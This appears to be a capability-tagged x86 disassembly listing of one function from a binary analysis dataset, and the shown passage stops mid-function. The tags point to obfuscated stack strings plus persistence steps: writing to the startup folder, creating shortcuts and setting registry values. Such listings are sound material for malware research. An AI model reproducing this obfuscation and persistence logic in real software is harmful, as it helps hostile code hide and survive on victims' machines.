Function at 0x447250
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x50ef03
push eax
mov eax, 0x1078
mov dword fs:[0], esp
call fcn.004e0840
push ebx
push esi
mov dword [ebp - 0x10], 0
push edi
mov dword [ebp - 0x30], 0
mov dword [ebp - 4], 7
sub esp, 0x18
lea eax, [ebp + 8]
mov dword [ebp - 0xfc], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 8
lea eax, [ebp - 0x738]
push eax
mov byte [ebp - 4], 7
mov ecx, 0x521408
call fcn.00447180
mov byte [ebp - 4], 9
lea ecx, [ebp + 8]
push eax
call fcn.00468a20
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x738]
call fcn.00402b10
mov ecx, 0x544310
call fcn.00465fe0
test al, al
je 0x44a77e
mov ecx, 0x544310
call fcn.00466010
test al, al
jne 0x44a77e
lea eax, [ebp - 0x3ec]
mov ecx, 0x544310
push eax
call fcn.00465ec0
lea eax, [ebp - 0x7f8]
mov ecx, 0x544310
push eax
call fcn.00465e50
lea eax, [ebp - 0x7f8]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.0046a100
test al, al
jne 0x44a77e
lea ecx, [ebp - 0x3ec]
call fcn.00465250
lea ecx, [ebp - 0x1da]
mov dword [ebp - 0x1da], 0x84b68c8b
mov esi, eax
mov dword [ebp - 0x1d6], 0x88818a
mov byte [ebp - 0x1d2], 1
call fcn.0040ac80
push eax
mov ecx, esi
call fcn.0046d4f0
lea ecx, [ebp - 0x50c]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x208], 0x87b68c8b
mov dword [ebp - 0x204], 0x9d869e8a
mov word [ebp - 0x200], 0x100
call fcn.0040ece0
push eax
mov ecx, esi
call fcn.0046d4f0
lea ecx, [ebp - 0x7c8]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x224], 0x88b68c8b
mov dword [ebp - 0x220], 0x8a81859e
mov dword [ebp - 0x21c], 0x979c9181
mov word [ebp - 0x218], 0x100
call fcn.0040ed40
push eax
mov ecx, esi
call fcn.0046d4f0
lea ecx, [ebp - 0x718]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1c1]
mov dword [ebp - 0x1c1], 0x8db68c8b
mov dword [ebp - 0x1bd], 0x100838e
call fcn.0040cfa0
push eax
mov ecx, esi
call fcn.0046d4f0
lea ecx, [ebp - 0x308]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1b9]
mov dword [ebp - 0x1b9], 0x9fb68c8b
mov dword [ebp - 0x1b5], 0x1008099
call fcn.0040cfa0
push eax
mov ecx, esi
call fcn.0046d4f0
lea ecx, [ebp - 0x4f4]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x26], 0x8bb68c8b
mov dword [ebp - 0x22], 0x9c82989e
mov dword [ebp - 0x1e], 0x80ae9e9a
mov dword [ebp - 0x1a], 0x859c9396
mov dword [ebp - 0x16], 0x808a83
mov byte [ebp - 0x12], 1
call fcn.0040ee90
push eax
mov ecx, esi
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x27]
mov byte [ebp - 0x6c], al
mov dword [ebp - 0x27], 0x8bb68c8b
mov dword [ebp - 0x23], 0x9c82989e
mov dword [ebp - 0x1f], 0x81ae9e9a
mov dword [ebp - 0x1b], 0x92909c90
mov dword [ebp - 0x17], 0x889c9482
mov word [ebp - 0x13], 0x100
call fcn.0040ee00
push eax
mov ecx, esi
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x6d], al
mov dword [ebp - 0x23], 0x8bb68c8b
mov dword [ebp - 0x1f], 0x9c82989e
mov dword [ebp - 0x1b], 0x81ae9e9a
mov dword [ebp - 0x17], 0x9a99919b
mov word [ebp - 0x13], 0x100
call fcn.0040ec80
push eax
mov ecx, esi
call fcn.0046d4f0
mov ecx, eax
call fcn.0046d770
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x6e], al
call fcn.00402b00
test eax, eax
je 0x447659
sub esp, 0x18
mov word [ebp - 0xd6], 0xcb
lea ecx, [ebp - 0xd6]
mov byte [ebp - 0xd4], 1
mov esi, esp
mov dword [ebp - 0x5cc], esp
call fcn.0040ace0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xf
sub esp, 0x18
lea eax, [ebp - 0x718]
mov dword [ebp - 0x5d0], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x338]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x338]
call fcn.00467870
lea ecx, [ebp - 0x338]
mov esi, eax
call fcn.00467860
mov edi, eax
cmp esi, edi
je 0x4475eb
mov edx, esi
mov ecx, 0x544394
call fcn.0046d4c0
test al, al
jne 0x44764a
add esi, 0x18
cmp esi, edi
jne 0x4475d4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x338]
call fcn.004679e0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x4f4]
call fcn.00402b10
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x308]
call fcn.00402b10
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x718]
call fcn.00402b10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x7c8]
call fcn.00402b10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x50c]
call fcn.00402b10
jmp 0x44a759
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x338]
call fcn.004679e0
lea eax, [ebp - 0x5d4]
push eax
lea ecx, [ebp - 0x308]
call fcn.00468830
lea ecx, [ebp - 0x308]
mov edi, dword [eax]
lea eax, [ebp - 0x5d8]
push eax
call fcn.00468810
lea ecx, [ebp - 0x308]
mov esi, dword [eax]
lea eax, [ebp - 0x5dc]
push eax
call fcn.00468830
push edi
push esi
mov edx, fcn.004e582e
lea ecx, [ebp - 0x5e0]
push dword [eax]
call fcn.0046e0b0
add esp, 0xc
mov word [ebp - 0x33], 0xc7
lea ecx, [ebp - 0x33]
mov byte [ebp - 0x31], 1
call fcn.004658f0
lea ecx, [ebp - 0x308]
call fcn.004687e0
lea ecx, [ebp - 0x33]
push ecx
push eax
call fcn.004e0f60
add esp, 8
test eax, eax
je 0x447803
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x5e4], eax
lea eax, [ebp - 0x404]
mov dword [ebp - 0x5e8], eax
lea ecx, [ebp - 0x6b8]
call fcn.00402f30
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x6b8]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x71]
mov word [ebp - 0x71], 0xc7
mov byte [ebp - 0x6f], 1
call fcn.004658f0
lea ecx, [ebp - 0x404]
call fcn.00402f30
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x71]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447740
sub ecx, edx
lea eax, [ebp - 0x71]
push ecx
push eax
lea ecx, [ebp - 0x404]
call fcn.00402ea0
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x404]
push 0
push eax
lea ecx, [ebp - 0x308]
call fcn.00468650
cmp eax, 0xffffffff
je 0x44778f
lea ecx, [ebp - 0x6b8]
push ecx
push dword [ebp - 0x3f4]
lea ecx, [ebp - 0x308]
push eax
call fcn.00468850
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x404]
call fcn.00402c80
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x404]
mov dword [ebp - 0x5ec], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x6b8]
call fcn.00402c80
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x5f0], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x33]
mov word [ebp - 0x33], 0xc7
mov byte [ebp - 0x31], 1
call fcn.004658f0
lea ecx, [ebp - 0x308]
call fcn.004687e0
lea ecx, [ebp - 0x33]
push ecx
push eax
call fcn.004e0f60
add esp, 8
test eax, eax
jne 0x4476f4
sub esp, 0x18
mov word [ebp - 0xd9], 0xcb
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd7], 1
xor bl, bl
mov dword [ebp - 0x5f4], esp
mov esi, esp
call fcn.0040ace0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0x1e
sub esp, 0x18
lea eax, [ebp - 0x308]
mov dword [ebp - 0x5f8], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x1f
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x280]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x280]
xor edi, edi
call fcn.00467840
test eax, eax
je 0x4478ad
xor esi, esi
jmp 0x447880
mov ecx, dword [ebp - 0x280]
lea eax, [ebp + 8]
push eax
lea ecx, [esi + ecx]
call fcn.00470cc0
test al, al
jne 0x4478ab
lea ecx, [ebp - 0x280]
inc edi
add esi, 0x18
call fcn.00467840
cmp edi, eax
jb 0x447880
jmp 0x4478ad
mov bl, 1
mov ecx, dword [ebp - 0x27c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x280]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4478d4
test bl, bl
je 0x44a6ab
sub esp, 0x18
mov word [ebp - 0xdc], 0xcb
lea ecx, [ebp - 0xdc]
mov byte [ebp - 0xda], 1
xor bl, bl
mov dword [ebp - 0x5fc], esp
mov esi, esp
call fcn.0040ace0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0x21
sub esp, 0x18
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x5c8], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2c4]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov edi, dword [ebp - 0x2c0]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2c4]
mov dword [ebp - 0x68], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x448c23
mov edi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x664], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x24
sub esp, 0x10
lea eax, [ebp + 0x20]
mov dword [ebp - 0x668], esp
mov ecx, esp
push eax
call fcn.00466350
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x290]
call fcn.00414480
add esp, 0x28
mov byte [ebp - 4], 0x26
xor edx, edx
lea ecx, [ebp - 0x290]
call fcn.0046d700
test al, al
je 0x448be0
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0x819b898a
mov dword [ebp - 0x21], 0x8b858fb4
mov dword [ebp - 0x1d], 0x91ae9b8c
mov dword [ebp - 0x19], 0x9f9e9b9c
mov dword [ebp - 0x15], 0x1008b92
call fcn.00465710
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0x290]
call fcn.0046d4f0
lea edx, [ebp - 0x69]
mov ecx, eax
call fcn.0047e970
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x27], 0x819b898a
mov dword [ebp - 0x23], 0x8b858fb4
mov dword [ebp - 0x1f], 0x82ae9b8c
mov dword [ebp - 0x1b], 0x81868792
mov dword [ebp - 0x17], 0x899d8a98
mov word [ebp - 0x13], 0x100
call fcn.00465410
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x290]
call fcn.0046d4f0
lea edx, [ebp - 0x6a]
mov ecx, eax
call fcn.0047e970
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0x819b898a
mov dword [ebp - 0x21], 0x8b858fb4
mov dword [ebp - 0x1d], 0x9aae9b8c
mov dword [ebp - 0x19], 0x9981879a
mov dword [ebp - 0x15], 0x1008185
call fcn.00465710
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0x290]
call fcn.0046d4f0
lea edx, [ebp - 0x6b]
mov ecx, eax
call fcn.0047e970
lea ecx, [ebp - 0x1a2]
mov dword [ebp - 0x1a2], 0x819b898a
mov dword [ebp - 0x19e], 0x838288b4
mov dword [ebp - 0x19a], 0x819f998e
mov word [ebp - 0x196], 0x100
call fcn.00465740
lea eax, [ebp - 0x1a2]
push eax
lea ecx, [ebp - 0x290]
call fcn.0046d4f0
lea ecx, [ebp - 0x768]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x74]
mov word [ebp - 0x74], 0xcb
mov byte [ebp - 0x72], 1
call fcn.004658f0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x670], esp
mov dword [ebp - 0x674], esi
mov ecx, esi
mov dword [ebp - 0x678], esi
call fcn.00402f30
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x74]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447b28
sub ecx, edx
lea eax, [ebp - 0x74]
push ecx
push eax
mov ecx, esi
call fcn.00402ea0
mov byte [ebp - 4], 0x2a
sub esp, 0x18
lea eax, [ebp - 0x768]
mov dword [ebp - 0x67c], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x274]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x1d1]
xor bh, bh
mov dword [ebp - 0x1d1], 0x819b898a
mov dword [ebp - 0x1cd], 0x9b828fb4
mov dword [ebp - 0x1c9], 0x9b838481
mov dword [ebp - 0x1c5], 0x1008796
call fcn.004653b0
lea eax, [ebp - 0x1d1]
push eax
lea ecx, [ebp - 0x290]
call fcn.0046d4f0
lea ecx, [ebp - 0x750]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x740], 0
je 0x447ce2
lea ecx, [ebp - 0x77]
mov word [ebp - 0x77], 0xcb
mov byte [ebp - 0x75], 1
call fcn.004658f0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x680], esp
mov dword [ebp - 0x684], esi
mov ecx, esi
mov dword [ebp - 0x688], esi
call fcn.00402f30
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x77]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447c12
sub ecx, edx
lea eax, [ebp - 0x77]
push ecx
push eax
mov ecx, esi
call fcn.00402ea0
mov byte [ebp - 4], 0x30
sub esp, 0x18
lea eax, [ebp - 0x750]
mov dword [ebp - 0x68c], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x31
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2e0]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x32
xor ecx, ecx
mov esi, dword [ebp - 0x2e0]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x94], ecx
mov ecx, dword [ebp - 0x2dc]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x447ccb
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [edi + esi]
push eax
call fcn.00470cc0
test al, al
jne 0x447cc9
mov ecx, dword [ebp - 0x2dc]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2e0]
add edi, 0x18
inc dword [ebp - 0x94]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x94], eax
jb 0x447c87
jmp 0x447ccb
mov bh, 1
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2e0]
call fcn.0046ac50
test bh, bh
je 0x448b8c
cmp dword [ebp - 0x758], 0
je 0x448b8a
cmp byte [ebp - 0x69], 0
je 0x4483bd
lea ecx, [ebp + 0x30]
call fcn.00465e20
test eax, eax
je 0x44804a
lea eax, [ebp - 0x2d4]
push eax
lea ecx, [ebp + 0x30]
call fcn.0046d7f0
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465c00
lea eax, [ebp - 0x225]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465bf0
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
jne 0x44803b
test bl, bl
jne 0x44803b
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x448020
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x448020
lea eax, [ebp - 0x3dc]
mov ecx, esi
push eax
call fcn.00465ec0
lea eax, [ebp - 0x7d8]
mov ecx, esi
push eax
call fcn.00465e50
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.0046a100
test al, al
jne 0x448020
lea esp, [esp]
lea ecx, [ebp - 0x3dc]
call fcn.00465250
test bl, bl
jne 0x448020
lea ecx, [ebp - 0x2cc]
push ecx
mov ecx, eax
call fcn.0046d7f0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00465c00
lea eax, [ebp - 0x226]
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00465bf0
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], bl
jne 0x447fec
test bl, bl
jne 0x447fec
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x447fd1
push esi
lea ecx, [ebp - 0x398]
call fcn.0046a230
lea ecx, [ebp - 0x398]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x60c]
call fcn.0046a230
lea ecx, [ebp - 0x60c]
call fcn.0046a1c0
lea eax, [ebp - 0x60c]
push eax
lea ecx, [ebp - 0x398]
call fcn.0046a100
test al, al
jne 0x447fd1
lea ebx, [ebx]
lea ecx, [ebp - 0x398]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x447fd1
lea eax, [ebp - 0x41c]
mov ecx, eax
mov dword [ebp - 0x690], eax
call fcn.00402f30
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x41c]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x8b848783
mov dword [ebp - 0xf2], 0x1008282
call fcn.00465830
lea eax, [ebp - 0xf6]
mov ecx, esi
push eax
call fcn.0046d4f0
cmp byte [eax], bl
je 0x447f1c
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x8b848783
mov dword [ebp - 0x118], 0x1008282
call fcn.00465830
lea eax, [ebp - 0x11c]
mov ecx, esi
push eax
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x41c]
call fcn.00474150
lea ecx, [ebp - 0x87]
mov word [ebp - 0x87], 0xc9
xor bh, bh
mov byte [ebp - 0x85], 1
call fcn.004658f0
sub esp, 0x18
lea eax, [ebp - 0x41c]
mov ecx, esp
mov dword [ebp - 0x694], esp
lea edx, [ebp - 0x87]
push eax
call fcn.0046d1b0
mov byte [ebp - 4], 0x38
sub esp, 8
lea eax, [ebp - 0x274]
mov dword [ebp - 0x698], esp
mov ecx, esp
push eax
call fcn.004679f0
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x37
mov cl, bh
call fcn.00414670
add esp, 0x24
test al, al
je 0x447f89
mov bl, 1
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x41c]
call fcn.00402c80
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x69c], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x398]
call fcn.00465200
lea eax, [ebp - 0x60c]
push eax
lea ecx, [ebp - 0x398]
call fcn.0046a100
test al, al
je 0x447e70
lea ecx, [ebp - 0x22c]
call fcn.0046a090
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
je 0x447e08
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x2cc]
call fcn.0041afb0
lea ecx, [ebp - 0x3dc]
call fcn.00465200
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.0046a100
test al, al
je 0x447db0
lea ecx, [ebp - 0x230]
call fcn.0046a090
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
je 0x447d50
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2d4]
call fcn.0041afb0
test bl, bl
jne 0x4483bd
lea ecx, [ebp + 0x40]
call fcn.00465e20
test eax, eax
je 0x4483bd
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x2a4]
call fcn.004709b0
mov edi, dword [ebp - 0x30]
lea edx, [ebp - 0x2a4]
or edi, 0x100
lea ecx, [ebp + 0x40]
mov dword [ebp - 0x30], edi
call fcn.0047e9f0
mov eax, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x238]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x238]
cmp byte [eax + 0xd], bl
jne 0x4483a3
nop
test bl, bl
jne 0x4483a3
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x448388
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x448388
lea eax, [ebp - 0x3cc]
mov ecx, esi
push eax
call fcn.00465ec0
lea eax, [ebp - 0x7e8]
mov ecx, esi
push eax
call fcn.00465e50
lea eax, [ebp - 0x7e8]
push eax
lea ecx, [ebp - 0x3cc]
call fcn.0046a100
test al, al
jne 0x448388
lea esp, [esp]
lea ecx, [ebp - 0x3cc]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x448388
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x29c]
call fcn.004709b0
or edi, 0x40
lea edx, [ebp - 0x29c]
mov ecx, esi
mov dword [ebp - 0x30], edi
call fcn.0047e9f0
mov eax, dword [ebp - 0x29c]
lea ecx, [ebp - 0x234]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x234]
cmp byte [eax + 0xd], bl
jne 0x44834e
jmp 0x448170
test bl, bl
jne 0x44834e
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x448333
push esi
lea ecx, [ebp - 0x348]
call fcn.0046a230
lea ecx, [ebp - 0x348]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x61c]
call fcn.0046a230
lea ecx, [ebp - 0x61c]
call fcn.0046a1c0
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x348]
call fcn.0046a100
test al, al
jne 0x448333
lea ecx, [ebp - 0x348]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x448333
lea eax, [ebp - 0x434]
mov ecx, eax
mov dword [ebp - 0x6a0], eax
call fcn.00402f30
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x434]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], 0x8b848783
mov dword [ebp - 0x110], 0x1008282
call fcn.00465830
lea eax, [ebp - 0x114]
mov ecx, esi
push eax
call fcn.0046d4f0
cmp byte [eax], bl
je 0x44827e
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x8b848783
mov dword [ebp - 0x108], 0x1008282
call fcn.00465830
lea eax, [ebp - 0x10c]
mov ecx, esi
push eax
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x434]
call fcn.00474150
lea ecx, [ebp - 0x8a]
mov word [ebp - 0x8a], 0xc9
xor bh, bh
mov byte [ebp - 0x88], 1
call fcn.004658f0
sub esp, 0x18
lea eax, [ebp - 0x434]
mov ecx, esp
mov dword [ebp - 0x720], esp
lea edx, [ebp - 0x8a]
push eax
call fcn.0046d1b0
mov byte [ebp - 4], 0x42
sub esp, 8
lea eax, [ebp - 0x274]
mov dword [ebp - 0x528], esp
mov ecx, esp
push eax
call fcn.004679f0
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x41
mov cl, bh
call fcn.00414670
add esp, 0x24
test al, al
je 0x4482eb
mov bl, 1
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x434]
call fcn.00402c80
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x434]
mov dword [ebp - 0x52c], eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x348]
call fcn.00465200
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x348]
call fcn.0046a100
test al, al
je 0x4481d2
lea ecx, [ebp - 0x234]
call fcn.0046a090
mov eax, dword [ebp - 0x234]
cmp byte [eax + 0xd], 0
je 0x448170
and edi, 0xffffffbf
mov dword [ebp - 0x30], edi
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x29c]
call fcn.0041afb0
lea ecx, [ebp - 0x3cc]
call fcn.00465200
lea eax, [ebp - 0x7e8]
push eax
lea ecx, [ebp - 0x3cc]
call fcn.0046a100
test al, al
je 0x448110
lea ecx, [ebp - 0x238]
call fcn.0046a090
mov eax, dword [ebp - 0x238]
cmp byte [eax + 0xd], 0
je 0x4480b0
and edi, 0xfffffeff
mov dword [ebp - 0x30], edi
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2a4]
call fcn.0041afb0
jmp 0x4483c0
mov edi, dword [ebp - 0x30]
cmp byte [ebp - 0x6a], 0
je 0x448822
test bl, bl
jne 0x448822
lea ecx, [ebp + 0x50]
call fcn.00465e20
test eax, eax
je 0x4485f0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x2b0]
call fcn.004709b0
or edi, 0x80
lea edx, [ebp - 0x2b0]
lea ecx, [ebp + 0x50]
mov dword [ebp - 0x30], edi
call fcn.0047e9f0
mov eax, dword [ebp - 0x2b0]
lea ecx, [ebp - 0x23c]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x23c]
cmp byte [eax + 0xd], bl
jne 0x4485d8
lea esp, [esp]
test bl, bl
jne 0x4485d8
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x358]
call fcn.0046a230
lea ecx, [ebp - 0x358]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x62c]
call fcn.0046a230
lea ecx, [ebp - 0x62c]
call fcn.0046a1c0
lea eax, [ebp - 0x62c]
push eax
lea ecx, [ebp - 0x358]
call fcn.0046a100
test al, al
jne 0x4485bd
lea ecx, [ebp - 0x358]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x4485bd
lea eax, [ebp - 0x44c]
mov ecx, eax
mov dword [ebp - 0x530], eax
call fcn.00402f30
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x44c]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x9f]
mov dword [ebp - 0x9f], 0x859a92
mov byte [ebp - 0x9b], 1
call fcn.00465b90
lea eax, [ebp - 0x9f]
mov ecx, esi
push eax
call fcn.0046d4f0
cmp byte [eax], bl
je 0x448529
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x859a92
mov byte [ebp - 0xa0], 1
call fcn.00465b90
lea eax, [ebp - 0xa4]
mov ecx, esi
push eax
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x44c]
call fcn.00474150
sub esp, 0x18
lea eax, [ebp - 0x44c]
mov ecx, esp
mov dword [ebp - 0x534], esp
xor bh, bh
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x4b
sub esp, 0xc
lea eax, [ebp - 0x274]
mov dword [ebp - 0x538], esp
mov ecx, esp
push eax
call fcn.004679f0
mov byte [ebp - 4], 0x4c
mov byte [ebp - 4], 0x4a
mov cl, bh
call fcn.00414670
add esp, 0x24
test al, al
je 0x448575
mov bl, 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x44c]
call fcn.00402c80
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x53c], eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x358]
call fcn.00465200
lea eax, [ebp - 0x62c]
push eax
lea ecx, [ebp - 0x358]
call fcn.0046a100
test al, al
je 0x448483
lea ecx, [ebp - 0x23c]
call fcn.0046a090
mov eax, dword [ebp - 0x23c]
cmp byte [eax + 0xd], 0
je 0x448430
and edi, 0xffffff7f
mov dword [ebp - 0x30], edi
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2b0]
call fcn.0041afb0
test bl, bl
jne 0x448822
lea ecx, [ebp + 0x60]
call fcn.00465e20
test eax, eax
je 0x448822
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x2b8]
call fcn.004709b0
mov esi, dword [ebp - 0x10]
lea edx, [ebp - 0x2b8]
or esi, 0x400000
lea ecx, [ebp + 0x60]
